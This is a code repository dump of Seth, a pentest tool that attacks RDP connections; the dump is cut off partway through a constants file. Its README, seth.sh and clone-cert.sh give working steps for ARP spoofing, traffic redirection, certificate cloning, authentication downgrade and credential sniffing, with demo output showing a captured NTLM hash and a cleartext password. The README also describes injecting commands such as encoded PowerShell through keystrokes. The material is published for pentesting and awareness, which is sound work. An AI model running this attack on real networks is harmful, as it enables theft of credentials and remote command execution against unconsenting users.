├── .gitignore ├── LICENSE ├── README.md ├── clone-cert.sh ├── doc ├── img │ └── seth-logo.png └── paper │ └── Attacking_RDP-Paper.pdf ├── requirements.txt ├── seth.py ├── seth.sh └── seth ├── __init__.py ├── args.py ├── consts.py ├── crypto.py ├── main.py └── parsing.py /.gitignore: -------------------------------------------------------------------------------- 1 | data 2 | *.crt 3 | *.key 4 | *.css 5 | *.html 6 | *.pyc 7 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Adrian Vollmer, SySS GmbH 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Seth 2 | ==== 3 | 4 | Seth is a tool written in Python and Bash to MitM RDP connections by 5 | attempting to downgrade the connection in order to extract clear text 6 | credentials. It was developed to raise awareness and educate about the 7 | importance of properly configured RDP connections in the context of 8 | pentests, workshops or talks. The author is Adrian Vollmer (SySS GmbH). 9 | 10 | Usage 11 | ----- 12 | 13 | Run it like this: 14 | 15 | $ ./seth.sh [] 16 | 17 | Unless the RDP host is on the same subnet as the victim machine, the last IP 18 | address must be that of the gateway. 19 | 20 | The last parameter is optional. It can contain a command that is executed on 21 | the RDP host by simulating WIN+R via key press event injection. Keystroke 22 | injection depends on which keyboard layout the victim is using - currently 23 | it's only reliable with the English US layout. I suggest avoiding special 24 | characters by using `powershell -enc `, where STRING is your 25 | UTF-16le and Base64 encoded command. However, `calc` should be pretty 26 | universal and gets the job done. 27 | 28 | The shell script performs ARP spoofing to gain a Man-in-the-Middle position 29 | and redirects the traffic such that it runs through an RDP proxy. The proxy 30 | can be called separately. This can be useful if you want use Seth in 31 | combination with Responder. Use Responder to gain a Man-in-the-Middle 32 | position and run Seth at the same time. Run `seth.py -h` for more 33 | information: 34 | 35 | usage: seth.py [-h] [-d] [-f] [-p LISTEN_PORT] [-b BIND_IP] [-g {0,1,3,11}] 36 | [-j INJECT] -c CERTFILE -k KEYFILE 37 | target_host [target_port] 38 | 39 | RDP credential sniffer -- Adrian Vollmer, SySS GmbH 2017 40 | 41 | positional arguments: 42 | target_host target host of the RDP service 43 | target_port TCP port of the target RDP service (default 3389) 44 | 45 | optional arguments: 46 | -h, --help show this help message and exit 47 | -d, --debug show debug information 48 | -f, --fake-server perform a 'fake server' attack 49 | -p LISTEN_PORT, --listen-port LISTEN_PORT 50 | TCP port to listen on (default 3389) 51 | -b BIND_IP, --bind-ip BIND_IP 52 | IP address to bind the fake service to (default all) 53 | -g {0,1,3,11}, --downgrade {0,1,3,11} 54 | downgrade the authentication protocol to this (default 55 | 3) 56 | -j INJECT, --inject INJECT 57 | command to execute via key press event injection 58 | -c CERTFILE, --certfile CERTFILE 59 | path to the certificate file 60 | -k KEYFILE, --keyfile KEYFILE 61 | path to the key file 62 | 63 | For more information read the PDF in `doc/paper` (or read the code!). The 64 | paper also contains recommendations for counter measures. 65 | 66 | You can also watch a twenty minute presentation including a demo (starting 67 | at 14:00) on Youtube: https://www.youtube.com/watch?v=wdPkY7gykf4 68 | 69 | Or watch just the demo (with subtitles) here: 70 | https://www.youtube.com/watch?v=JvvxTNrKV-s 71 | 72 | Demo 73 | ---- 74 | 75 | The following ouput shows the attacker's view. Seth sniffs an offline 76 | crackable hash as well as the clear text password. Here, NLA is not enforced 77 | and the victim ignored the certificate warning. 78 | 79 | ![Seth](https://github.com/SySS-Research/Seth/blob/master/doc/img/seth-logo.png) 80 | 81 | # ./seth.sh eth1 192.168.57.{103,2,102} 82 | ███████╗███████╗████████╗██╗ ██╗ 83 | ██╔════╝██╔════╝╚══██╔══╝██║ ██║ by Adrian Vollmer 84 | ███████╗█████╗ ██║ ███████║ seth@vollmer.syss.de 85 | ╚════██║██╔══╝ ██║ ██╔══██║ SySS GmbH, 2017 86 | ███████║███████╗ ██║ ██║ ██║ https://www.syss.de 87 | ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ 88 | [*] Spoofing arp replies... 89 | [*] Turning on IP forwarding... 90 | [*] Set iptables rules for SYN packets... 91 | [*] Waiting for a SYN packet to the original destination... 92 | [+] Got it! Original destination is 192.168.57.102 93 | [*] Clone the x509 certificate of the original destination... 94 | [*] Adjust the iptables rule for all packets... 95 | [*] Run RDP proxy... 96 | Listening for new connection 97 | Connection received from 192.168.57.103:50431 98 | Downgrading authentication options from 11 to 3 99 | Enable SSL 100 | alice::avollmer-syss:1f20645749b0dfd5:b0d3d5f1642c05764ca28450f89d38db:0101000000000000b2720f48f5ded2012692fcdbf5c79a690000000002001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0001001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0004001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0003001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0007000800b2720f48f5ded20106000400020000000800300030000000000000000100000000200000413a2721a0d955c51a52d647289621706d6980bf83a5474c10d3ac02acb0105c0a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00350037002e00310030003200000000000000000000000000 101 | Tamper with NTLM response 102 | TLS alert access denied, Downgrading CredSSP 103 | Connection lost 104 | Connection received from 192.168.57.103:50409 105 | Listening for new connection 106 | Enable SSL 107 | Connection lost 108 | Connection received from 192.168.57.103:50410 109 | Listening for new connection 110 | Enable SSL 111 | Hiding forged protocol request from client 112 | .\alice:ilovebob 113 | Keyboard Layout: 0x409 (English_United_States) 114 | Key press: LShift 115 | Key press: S 116 | Key release: S 117 | Key release: LShift 118 | Key press: E 119 | Key release: E 120 | Key press: C 121 | Key release: C 122 | Key press: R 123 | Key release: R 124 | Key press: E 125 | Key release: E 126 | Key press: T 127 | Key release: T 128 | Connection lost 129 | [*] Cleaning up... 130 | [*] Done. 131 | 132 | Requirements 133 | ------------ 134 | 135 | * `python3` 136 | * `tcpdump` 137 | * `arpspoof` 138 | 139 | `arpspoof` is part of `dsniff` 140 | * `openssl` 141 | 142 | 143 | Disclaimer 144 | ---------- 145 | 146 | Use at your own risk. Do not use without full consent of everyone involved. 147 | For educational purposes only. 148 | -------------------------------------------------------------------------------- /clone-cert.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Adrian Vollmer, SySS GmbH 2017 3 | # Reference: 4 | # https://security.stackexchange.com/questions/127095/manually-walking-through-the-signature-validation-of-a-certificate 5 | 6 | set -e 7 | 8 | HOST="$1" 9 | SERVER="$(printf "%s" "$HOST" | cut -f1 -d:)" 10 | DIR="/tmp/" 11 | KEYLENGTH=1024 # 1024 is faster, but less secure than 4096 12 | SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" 13 | OS=$(uname -s) 14 | 15 | if [ "$HOST" = "" ] ; then 16 | cat <: 21 | EOF 22 | exit 1 23 | fi 24 | 25 | 26 | function oid() { 27 | # https://bugzil.la/1064636 28 | case "$1" in 29 | # "300d06092a864886f70d0101020500") 30 | # ;;md2WithRSAEncryption 31 | "300b06092a864886f70d01010b") echo sha256 32 | ;;#sha256WithRSAEncryption 33 | "300b06092a864886f70d010105") echo sha1 34 | ;;#sha1WithRSAEncryption 35 | "300d06092a864886f70d01010c0500") echo sha384 36 | ;;#sha384WithRSAEncryption 37 | "300a06082a8648ce3d040303") echo "ECDSA not supported" >&2; exit 1 38 | ;;#ecdsa-with-SHA384 39 | "300a06082a8648ce3d040302") "ECDSA not supported" >&2; exit 1 40 | ;;#ecdsa-with-SHA256 41 | "300d06092a864886f70d0101040500") echo md5 42 | ;;#md5WithRSAEncryption 43 | "300d06092a864886f70d01010d0500") echo sha512 44 | ;;#sha512WithRSAEncryption 45 | "300d06092a864886f70d01010b0500") echo sha256 46 | ;;#sha256WithRSAEncryption 47 | "300d06092a864886f70d0101050500") echo sha1 48 | ;;#sha1WithRSAEncryption 49 | *) echo "Unknow Hash Algorithm OID: $1" >&2 50 | exit 1 51 | ;; 52 | esac 53 | } 54 | 55 | CLONED_CERT_FILE="$DIR$HOST.cert" 56 | CLONED_KEY_FILE="$DIR$HOST.key" 57 | ORIG_CERT_FILE="$CLONED_CERT_FILE.orig" 58 | 59 | openssl s_client -servername "$SERVER" \ 60 | -connect "$HOST" < /dev/null 2>&1 | \ 61 | openssl x509 -outform PEM -out "$ORIG_CERT_FILE" 62 | OLD_MODULUS="$(openssl x509 -in "$ORIG_CERT_FILE" -modulus -noout \ 63 | | sed -e 's/Modulus=//' | tr "[:upper:]" "[:lower:]")" 64 | KEY_LEN="$(openssl x509 -in "$ORIG_CERT_FILE" -noout -text \ 65 | | grep Public-Key: | grep -o "[0-9]\+")" 66 | 67 | 68 | MY_PRIV_KEY="$DIR$HOST.$KEY_LEN.key" 69 | MY_PUBL_KEY="$DIR$HOST.$KEY_LEN.cert" 70 | 71 | offset="$(openssl asn1parse -in "$ORIG_CERT_FILE" | grep SEQUENCE \ 72 | | tail -n1 | head -n1 | awk '{print $1}' | sed 's/:.*//')" 73 | SIGNING_ALGO="$(openssl asn1parse -in "$ORIG_CERT_FILE" \ 74 | -strparse "$offset" -noout -out >(xxd -p -c99999))" 75 | offset="$(openssl asn1parse -in "$ORIG_CERT_FILE" \ 76 | | tail -n1 | head -n1 | awk '{print $1}' | sed 's/:.*//')" 77 | OLD_SIGNATURE="$(openssl asn1parse -in "$ORIG_CERT_FILE" \ 78 | -strparse "$offset" -noout -out >(xxd -p -c999999))" 79 | OLD_TBS_CERTIFICATE="$(openssl asn1parse -in "$ORIG_CERT_FILE" \ 80 | -strparse 4 -noout -out >(xxd -p -c99999))" 81 | 82 | # TODO support DSA, EC 83 | openssl req -new -newkey rsa:$KEY_LEN -days 356 -nodes -x509 \ 84 | -subj "/C=XX" -keyout "$MY_PRIV_KEY" -out "$MY_PUBL_KEY" \ 85 | 2> /dev/null 86 | 87 | NEW_MODULUS="$(openssl x509 -in "$MY_PUBL_KEY" -noout -modulus \ 88 | | sed 's/Modulus=//' | tr "[:upper:]" "[:lower:]")" 89 | NEW_TBS_CERTIFICATE="$(printf "%s" "$OLD_TBS_CERTIFICATE" \ 90 | | sed "s/$OLD_MODULUS/$NEW_MODULUS/")" 91 | 92 | digest="$(oid "$SIGNING_ALGO")" 93 | NEW_SIGNATURE="$(printf "%s" "$NEW_TBS_CERTIFICATE" | xxd -p -r | \ 94 | openssl dgst -$digest -sign "$MY_PRIV_KEY" | xxd -p -c99999)" 95 | 96 | openssl x509 -in "$ORIG_CERT_FILE" -outform DER | xxd -p -c99999 \ 97 | | sed "s/$OLD_MODULUS/$NEW_MODULUS/" \ 98 | | sed "s/$OLD_SIGNATURE/$NEW_SIGNATURE/" | xxd -r -p \ 99 | | openssl x509 -inform DER -outform PEM > "$CLONED_CERT_FILE" 100 | 101 | cp "$MY_PRIV_KEY" "$CLONED_KEY_FILE" 102 | printf "%s\n" "$CLONED_KEY_FILE" 103 | printf "%s\n" "$CLONED_CERT_FILE" 104 | -------------------------------------------------------------------------------- /doc/img/seth-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SySS-Research/Seth/8b6e36c8437db0a2e1300e2077d7ead41dcf8f9b/doc/img/seth-logo.png -------------------------------------------------------------------------------- /doc/paper/Attacking_RDP-Paper.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SySS-Research/Seth/8b6e36c8437db0a2e1300e2077d7ead41dcf8f9b/doc/paper/Attacking_RDP-Paper.pdf -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | hexdump 2 | -------------------------------------------------------------------------------- /seth.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # TODO find an elegant way to parse binary data 3 | """ 4 | Seth - Attacking RDP 5 | Adrian Vollmer, SySS GmbH 2017 6 | """ 7 | # Refs: 8 | # https://www.contextis.com/resources/blog/rdp-replay/ 9 | # https://msdn.microsoft.com/en-us/library/cc216517.aspx 10 | 11 | 12 | from seth.main import run 13 | 14 | if __name__ == "__main__": 15 | run() 16 | -------------------------------------------------------------------------------- /seth.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cat << EOF 4 | ███████╗███████╗████████╗██╗ ██╗ 5 | ██╔════╝██╔════╝╚══██╔══╝██║ ██║ by Adrian Vollmer 6 | ███████╗█████╗ ██║ ███████║ seth@vollmer.syss.de 7 | ╚════██║██╔══╝ ██║ ██╔══██║ SySS GmbH, 2017 8 | ███████║███████╗ ██║ ██║ ██║ https://www.syss.de 9 | ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ 10 | EOF 11 | 12 | set -e 13 | 14 | # Ensure we have root permission 15 | if [ "$(id -u)" != "0" ]; then 16 | echo "This script must be run as root" 1>&2 17 | exit 1 18 | fi 19 | 20 | # Ensure we have all the required arguments 21 | if [ "$#" -ne 4 -a "$#" -ne 5 ]; 22 | then 23 | echo "Usage:" 24 | echo "$0 []" 25 | exit 1 26 | fi 27 | 28 | # Get OS Name 29 | OS=$(uname -s) 30 | 31 | # Setup requirements based on OS 32 | # Darwin (MacOS) uses pf as the packet filter module 33 | # while Linux uses iptables 34 | if [ "$OS" == "Darwin" ]; 35 | then 36 | echo "[*] Darwin OS detected, using pfctl as the netfilter interpreter" 37 | NETFILTER_INTERPRETER=pfctl 38 | elif [ "$OS" == "Linux" ]; 39 | then 40 | echo "[*] Linux OS detected, using iptables as the netfilter interpreter" 41 | NETFILTER_INTERPRETER=iptables 42 | else 43 | echo "[*] Cannot determinate netfilter interpreter for "$OS" Kernel. Exit..." 44 | exit 1 45 | fi 46 | 47 | # Verify Dependencies 48 | # Note: dsniff seems to be abandoned 49 | # TODO: implement own arpspoofer, or relay on something currently maitained eg: bettercap 50 | for com in awk tcpdump arpspoof openssl $NETFILTER_INTERPRETER ; do 51 | command -v "$com" >/dev/null 2>&1 || { 52 | echo >&2 "$com required, but it's not installed. Aborting." 53 | exit 1 54 | } 55 | done 56 | 57 | # Setup variables from cli 58 | IFACE="$1" 59 | ATTACKER_IP="$2" 60 | VICTIM_IP="$3" 61 | GATEWAY_IP="$4" 62 | INJECT_COMMAND="$5" 63 | if [ -z "$SETH_DOWNGRADE" ] ; then 64 | SETH_DOWNGRADE=3 65 | fi 66 | 67 | if [ ! -z "$SETH_DEBUG" ] ; then 68 | DEBUG_FLAG="-d" 69 | fi 70 | 71 | if [ ! -z "$INJECT_COMMAND" ] ; then 72 | INJECT_COMMAND="-j \"$INJECT_COMMAND\"" 73 | fi 74 | 75 | # Check if we're on macOS, we need some specific variables for pf environment 76 | if [ "$OS" == "Darwin" ]; 77 | then 78 | # Get current pf status so we can restore it on exit 79 | PF_STATUS="$(pfctl -qs info | head -1 | awk '{print $2}')" 80 | # Set a temp file to write pf rules 81 | PF_TMP_FILE="/tmp/seth.pf" 82 | # Get current conf file 83 | PF_CONF_FILE="/private/etc/pf.conf" 84 | # Get pfctl bin 85 | PFCTL="/sbin/pfctl" 86 | fi 87 | 88 | # Get forwarding state 89 | if [ "$OS" == "Darwin" ]; 90 | then 91 | IP_FORWARD=$(sysctl net.inet.ip.forwarding | awk '{print $2}') 92 | # Enable pf if not alredy running 93 | if [ "$PF_STATUS" == "Disabled" ]; 94 | then 95 | $PFCTL -E 96 | fi 97 | else 98 | IP_FORWARD="$(cat /proc/sys/net/ipv4/ip_forward)" 99 | fi 100 | SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" 101 | 102 | # Define funciton to add/remove iptables rules on the fly for RDP routing and NAT 103 | set_iptables_1 () { 104 | local DEL_ADD="$1" 105 | iptables -"$DEL_ADD" FORWARD -p tcp -s "$VICTIM_IP" \ 106 | --syn --dport 3389 -j REJECT 107 | } 108 | 109 | set_iptables_2 () { 110 | local DEL_ADD="$1" 111 | iptables -t nat -"$DEL_ADD" PREROUTING -p tcp -d "$ORIGINAL_DEST" \ 112 | -s "$VICTIM_IP" --dport 3389 -j DNAT --to-destination "$ATTACKER_IP" 113 | iptables -"$DEL_ADD" FORWARD -p tcp -s "$VICTIM_IP" --dport 88 \ 114 | -j REJECT --reject-with tcp-reset 115 | } 116 | 117 | # Define function to add/remove pf rules on the fly for RDP routing and NAT 118 | set_pf_1 () { 119 | echo "block return on "$IFACE" proto tcp from "$VICTIM_IP" to any port 3389 flags S/S" >> $PF_TMP_FILE 120 | 121 | $PFCTL -qf $PF_TMP_FILE 2>/dev/null 1>&2 122 | } 123 | 124 | set_pf_2 () { 125 | rm $PF_TMP_FILE 2>/dev/null 1>&2 126 | 127 | echo "rdr on $IFACE inet proto {tcp, udp} from $VICTIM_IP to $ORIGINAL_DEST port 3389 -> $ATTACKER_IP" >> $PF_TMP_FILE 128 | 129 | # Drop Kerberos packers 130 | echo "block return-rst on $IFACE proto tcp from $VICTIM_IP to any port 88" >> $PF_TMP_FILE 131 | 132 | $PFCTL -qf $PF_TMP_FILE 2>/dev/null 1>&2 133 | } 134 | 135 | # Declare a finish function to cleanup the system 136 | function finish { 137 | echo "[*] Cleaning up..." 138 | set +e 139 | if [ "$OS" == "Darwin" ]; 140 | then 141 | echo "[*]" $(sysctl net.inet.ip.forwarding=0) 142 | echo "[*]" $(sysctl net.inet.icmp.bmcastecho=1) 143 | # Flush everything from pf queues 144 | $PFCTL -qF all 2>/dev/null 1>&2 145 | 146 | echo "[*] Restore default pf status and configuration" 147 | # If PF was disabled, disable it, otherwise reload the default conf file 148 | if [ "$PF_STATUS" == "Disabled" ]; 149 | then 150 | $PFCTL -qd 2>/dev/null 1>&2 151 | else 152 | $PFCTL -qf $PF_CONF_FILE 2>/dev/null 1>&2 153 | fi 154 | rm $PF_TMP_FILE 2>/dev/null 1>&2 155 | else 156 | set_iptables_1 D 2>/dev/null 1>&2 157 | set_iptables_2 D 2>/dev/null 1>&2 158 | printf "%s" "$IP_FORWARD" > /proc/sys/net/ipv4/ip_forward 159 | fi 160 | kill $ARP_PID_1 2>/dev/null 1>&2 161 | kill $ARP_PID_2 2>/dev/null 1>&2 162 | pkill -P $$ 163 | 164 | # Clear certificates 165 | find /tmp/ -name "$ORIGINAL_DEST"* -exec rm {} \; 2>/dev/null 1>&2 166 | echo "[*] Done" 167 | } 168 | trap finish EXIT 169 | 170 | # Define a function to create a self-signed certificate 171 | function create_self_signed_cert { 172 | local CN="$1" 173 | echo "[!] Failed to clone certificate, create bogus self-signed certificate..." >&2 174 | openssl req -subj "/CN=$CN/O=Seth by SySS GmbH" -new \ 175 | -newkey rsa:2048 -days 365 -nodes -x509 \ 176 | -keyout /tmp/$CN.server.key -out /tmp/$CN.server.crt 2>/dev/null 1>&2 177 | printf "%s\n%s\n" "/tmp/$CN.server.key" "/tmp/$CN.server.crt" 178 | } 179 | 180 | # Spoof arp replies 181 | echo "[*] Spoofing arp replies..." 182 | 183 | arpspoof -i "$IFACE" -t "$VICTIM_IP" "$GATEWAY_IP" 2>/dev/null 1>&2 & 184 | ARP_PID_1=$! 185 | arpspoof -i "$IFACE" -t "$GATEWAY_IP" "$VICTIM_IP" 2>/dev/null 1>&2 & 186 | ARP_PID_2=$! 187 | 188 | # Enable ip forwarding and setup rule for SYN packets 189 | echo "[*] Turning on IP forwarding..." 190 | 191 | if [ "$OS" == "Darwin" ]; 192 | then 193 | echo "[*]" $(sysctl net.inet.ip.forwarding=1) 194 | echo "[*]" $(sysctl net.inet.icmp.bmcastecho=0) 195 | echo "[*] Set pf rules for SYN packets..." 196 | set_pf_1 2>/dev/null 1>&2 & 197 | else 198 | echo 1 > /proc/sys/net/ipv4/ip_forward 199 | echo "[*] Set iptables rules for SYN packets..." 200 | set_iptables_1 A "$VICTIM_IP" 201 | fi 202 | 203 | # Inspect traffic looking for our SYN packet for an RDP connection 204 | echo "[*] Waiting for a SYN packet to the original destination..." 205 | 206 | ORIGINAL_DEST="$(tcpdump -n -c 1 -i "$IFACE" \ 207 | "tcp[tcpflags] & (tcp-syn) != 0" and \ 208 | src host "$VICTIM_IP" and dst port 3389 2> /dev/null \ 209 | | awk '{print $5}' | sed 's/.\(3389\|ms-wbt-server\).*//')" 210 | 211 | if [ -z "$ORIGINAL_DEST" ]; 212 | then 213 | echo "[!] Something went wrong while parsing the output of tcpdump" 214 | exit 1 215 | fi 216 | 217 | echo "[+] Got it! Original destination is $ORIGINAL_DEST" 218 | 219 | # Clone the original certificate so we can inspect traffic 220 | echo "[*] Clone the x509 certificate of the original destination..." 221 | 222 | CERT_KEY="$($SCRIPT_DIR/clone-cert.sh "$ORIGINAL_DEST:3389" || \ 223 | create_self_signed_cert "$ORIGINAL_DEST")" 224 | KEYPATH="$(printf "%s" "$CERT_KEY" | head -n1)" 225 | CERTPATH="$(printf "%s" "$CERT_KEY" | tail -n1)" 226 | 227 | # Setup iptables and pf rules for the whole RDP connection 228 | if [ "$OS" == "Darwin" ]; 229 | then 230 | echo "[*] Adjust pf rules for all packets..." 231 | set_pf_2 2>/dev/null 1>&2 & 232 | else 233 | echo "[*] Adjust iptables rules for all packets..." 234 | set +e 235 | set_iptables_1 D "$VICTIM_IP" 236 | set -e 237 | 238 | set_iptables_2 A "$VICTIM_IP" "$ATTACKER_IP" "$ORIGINAL_DEST" 239 | fi 240 | 241 | # Run the RDP proxy 242 | echo "[*] Run RDP proxy..." 243 | 244 | $SCRIPT_DIR/seth.py \ 245 | $INJECT_COMMAND $DEBUG_FLAG -g $SETH_DOWNGRADE \ 246 | -c $CERTPATH -k $KEYPATH \ 247 | $ORIGINAL_DEST 248 | -------------------------------------------------------------------------------- /seth/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SySS-Research/Seth/8b6e36c8437db0a2e1300e2077d7ead41dcf8f9b/seth/__init__.py -------------------------------------------------------------------------------- /seth/args.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | from binascii import hexlify 3 | 4 | parser = argparse.ArgumentParser( 5 | description="RDP credential sniffer -- Adrian Vollmer, SySS GmbH 2017") 6 | parser.add_argument('-d', '--debug', dest='debug', action="store_true", 7 | default=False, help="show debug information") 8 | # parser.add_argument('-r', '--relay', dest='relay', action="store_true", 9 | # default=False, help="perform a relay attack") 10 | parser.add_argument('-f', '--fake-server', dest='fake_server', action="store_true", 11 | default=False, help="perform a 'fake server' attack") 12 | parser.add_argument('-p', '--listen-port', dest='listen_port', type=int, 13 | default=3389, help="TCP port to listen on (default 3389)") 14 | parser.add_argument('-b', '--bind-ip', dest='bind_ip', type=str, default="", 15 | help="IP address to bind the fake service to (default all)") 16 | parser.add_argument('-g', '--downgrade', dest='downgrade', type=int, 17 | default=3, action="store", choices=[0,1,3,11], 18 | help="downgrade the authentication protocol to this (default 3)") 19 | parser.add_argument('-j', '--inject', dest='inject', type=str, 20 | required=False, help="command to execute via key press event injection") 21 | parser.add_argument('-c', '--certfile', dest='certfile', type=str, 22 | required=True, help="path to the certificate file") 23 | parser.add_argument('-k', '--keyfile', dest='keyfile', type=str, 24 | required=True, help="path to the key file") 25 | parser.add_argument('target_host', type=str, 26 | help="target host of the RDP service") 27 | parser.add_argument('target_port', type=int, default=3389, nargs='?', 28 | help="TCP port of the target RDP service (default 3389)") 29 | 30 | args = parser.parse_args() 31 | 32 | try: 33 | from hexdump import hexdump 34 | except ImportError: 35 | if args.debug: 36 | print("Warning: The python3 module 'hexdump' is missing. " 37 | "Using hexlify instead.") 38 | def hexdump(x): print(hexlify(x).decode()) 39 | -------------------------------------------------------------------------------- /seth/consts.py: -------------------------------------------------------------------------------- 1 | from binascii import hexlify, unhexlify 2 | 3 | TERM_PRIV_KEY = { # little endian, from [MS-RDPBCGR].pdf 4 | "n": [ 0x3d, 0x3a, 0x5e, 0xbd, 0x72, 0x43, 0x3e, 0xc9, 0x4d, 0xbb, 0xc1, 5 | 0x1e, 0x4a, 0xba, 0x5f, 0xcb, 0x3e, 0x88, 0x20, 0x87, 0xef, 0xf5, 6 | 0xc1, 0xe2, 0xd7, 0xb7, 0x6b, 0x9a, 0xf2, 0x52, 0x45, 0x95, 0xce, 7 | 0x63, 0x65, 0x6b, 0x58, 0x3a, 0xfe, 0xef, 0x7c, 0xe7, 0xbf, 0xfe, 8 | 0x3d, 0xf6, 0x5c, 0x7d, 0x6c, 0x5e, 0x06, 0x09, 0x1a, 0xf5, 0x61, 9 | 0xbb, 0x20, 0x93, 0x09, 0x5f, 0x05, 0x6d, 0xea, 0x87 ], 10 | # modulus 11 | "d": [ 0x87, 0xa7, 0x19, 0x32, 0xda, 0x11, 0x87, 0x55, 0x58, 0x00, 0x16, 12 | 0x16, 0x25, 0x65, 0x68, 0xf8, 0x24, 0x3e, 0xe6, 0xfa, 0xe9, 0x67, 13 | 0x49, 0x94, 0xcf, 0x92, 0xcc, 0x33, 0x99, 0xe8, 0x08, 0x60, 0x17, 14 | 0x9a, 0x12, 0x9f, 0x24, 0xdd, 0xb1, 0x24, 0x99, 0xc7, 0x3a, 0xb8, 15 | 0x0a, 0x7b, 0x0d, 0xdd, 0x35, 0x07, 0x79, 0x17, 0x0b, 0x51, 0x9b, 16 | 0xb3, 0xc7, 0x10, 0x01, 0x13, 0xe7, 0x3f, 0xf3, 0x5f ], 17 | # private exponent 18 | "e": [ 0x5b, 0x7b, 0x88, 0xc0 ] # public exponent 19 | } 20 | 21 | 22 | # http://www.millisecond.com/support/docs/v5/html/language/scancodes.htm 23 | SCANCODE = { 24 | 0: None, 25 | 1: "ESC", 2: "1", 3: "2", 4: "3", 5: "4", 6: "5", 7: "6", 8: "7", 9: 26 | "8", 10: "9", 11: "0", 12: "-", 13: "=", 14: "Backspace", 15: "Tab", 16: "Q", 27 | 17: "W", 18: "E", 19: "R", 20: "T", 21: "Y", 22: "U", 23: "I", 24: "O", 28 | 25: "P", 26: "[", 27: "]", 28: "Enter", 29: "CTRL", 30: "A", 31: "S", 29 | 32: "D", 33: "F", 34: "G", 35: "H", 36: "J", 37: "K", 38: "L", 39: ";", 30 | 40: "'", 41: "`", 42: "LShift", 43: "\\", 44: "Z", 45: "X", 46: "C", 47: 31 | "V", 48: "B", 49: "N", 50: "M", 51: ",", 52: ".", 53: "/", 54: "RShift", 32 | 55: "PrtSc", 56: "Alt", 57: "Space", 58: "Caps", 59: "F1", 60: "F2", 61: 33 | "F3", 62: "F4", 63: "F5", 64: "F6", 65: "F7", 66: "F8", 67: "F9", 68: 34 | "F10", 69: "Num", 70: "Scroll", 71: "Home (7)", 72: "Up (8)", 73: 35 | "PgUp (9)", 74: "-", 75: "Left (4)", 76: "Center (5)", 77: "Right (6)", 36 | 78: "+", 79: "End (1)", 80: "Down (2)", 81: "PgDn (3)", 82: "Ins", 83: 37 | "Del", #91: "LMeta", 92: "RMeta", 38 | } 39 | 40 | REV_SCANCODE = dict([(v, k) for k, v in SCANCODE.items()]) 41 | REV_SCANCODE[" "] = REV_SCANCODE["Space"] 42 | REV_SCANCODE["LMeta"] = 91 43 | 44 | # https://support.microsoft.com/de-de/help/324097/list-of-language-packs-and-their-codes-for-windows-2000-domain-control 45 | KBD_LAYOUT_CNTRY = { 46 | 0x436: b"Afrikaans", 47 | 0x041c: b"Albanian", 48 | 0x401: b"Arabic_Saudi_Arabia", 49 | 0x801: b"Arabic_Iraq", 50 | 0x0c01: b"Arabic_Egypt", 51 | 0x1001: b"Arabic_Libya", 52 | 0x1401: b"Arabic_Algeria", 53 | 0x1801: b"Arabic_Morocco", 54 | 0x1c01: b"Arabic_Tunisia", 55 | 0x2001: b"Arabic_Oman", 56 | 0x2401: b"Arabic_Yemen", 57 | 0x2801: b"Arabic_Syria", 58 | 0x2c01: b"Arabic_Jordan", 59 | 0x3001: b"Arabic_Lebanon", 60 | 0x3401: b"Arabic_Kuwait", 61 | 0x3801: b"Arabic_UAE", 62 | 0x3c01: b"Arabic_Bahrain", 63 | 0x4001: b"Arabic_Qatar", 64 | 0x042b: b"Armenian", 65 | 0x042c: b"Azeri_Latin", 66 | 0x082c: b"Azeri_Cyrillic", 67 | 0x042d: b"Basque", 68 | 0x423: b"Belarusian", 69 | 0x402: b"Bulgarian", 70 | 0x403: b"Catalan", 71 | 0x404: b"Chinese_Taiwan", 72 | 0x804: b"Chinese_PRC", 73 | 0x0c04: b"Chinese_Hong_Kong", 74 | 0x1004: b"Chinese_Singapore", 75 | 0x1404: b"Chinese_Macau", 76 | 0x041a: b"Croatian", 77 | 0x405: b"Czech", 78 | 0x406: b"Danish", 79 | 0x413: b"Dutch_Standard", 80 | 0x813: b"Dutch_Belgian", 81 | 0x409: b"English_United_States", 82 | 0x809: b"English_United_Kingdom", 83 | 0x0c09: b"English_Australian", 84 | 0x1009: b"English_Canadian", 85 | 0x1409: b"English_New_Zealand", 86 | 0x1809: b"English_Irish", 87 | 0x1c09: b"English_South_Africa", 88 | 